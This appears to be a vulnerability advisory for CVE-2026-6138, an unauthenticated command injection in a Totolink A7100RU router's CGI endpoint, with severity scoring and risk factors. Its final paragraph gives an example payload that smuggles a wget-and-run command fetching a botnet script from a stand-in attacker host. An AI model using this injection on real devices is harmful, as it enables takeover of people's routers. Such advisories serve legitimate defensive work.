A7100Ru CVE-2026-6138

Remote unauthenticated attacker can exploit CVE-2026-6138 in Totolik A7100RU firmware 7.4cu.2313_b20191024 via OS command injection in the 'mac' parameter of setAccessDeviceCfg function (/cgi-bin/cstecgi.cgi). No authentication, user interaction, or special configuration required.

Real-world risk is HIGH despite lack of KEV confirmation. The CVSS 9.8 score accurately reflects critical severity: network attack vector (AV:N) requires no special access, low complexity (AC:L) means exploitation is straightforward, no privileges required (PR:N) and no user interaction (UI:N) enable fully automated attacks, and complete system compromise (C:H/I:H/A:H) is achievable. Publicly available exploit code on GitHub dramatically increases risk by enabling script-kiddie level attacks. Attack complexity is genuinely low - web-based command injection with no authentication is trivial to exploit once the vulnerable endpoint is identified. Primary risk factors: (1) consumer routers frequently remain unpatched, (2) many expose management interfaces to the internet via UPnP or user misconfiguration, (3) automated scanners actively probe for vulnerable CGI endpoints, (4) command injection provides immediate root-level access for botnet recruitment, cryptomining, or pivoting into home/small business networks. SSVC decision: Exploitation status is POC available (not active per KEV), automatable is YES (no user interaction), technical impact is TOTAL (full system control). Without EPSS data, assume moderate-to-high probability given public exploit and large installed base of consumer routers. This is a legitimate priority for organizations using Totolink equipment and for threat intelligence teams tracking IoT botnets.

An attacker uses Shodan or Censys to identify Totolink A7100RU routers with exposed web management interfaces on port 80 or 8080. They send a crafted HTTP POST request to /cgi-bin/cstecgi.cgi targeting the setAccessDeviceCfg function with a malicious MAC parameter like 'AA:BB:CC:DD:EE:FF;wget http://attacker.com/botnet.sh -O /tmp/bot;sh /tmp/bot;'. The vulnerable CGI script executes the injected commands without authentication, downloading and running a botnet client or cryptominer with root privileges, giving the attacker persistent control of the router and visibility into all network traffic passing through it.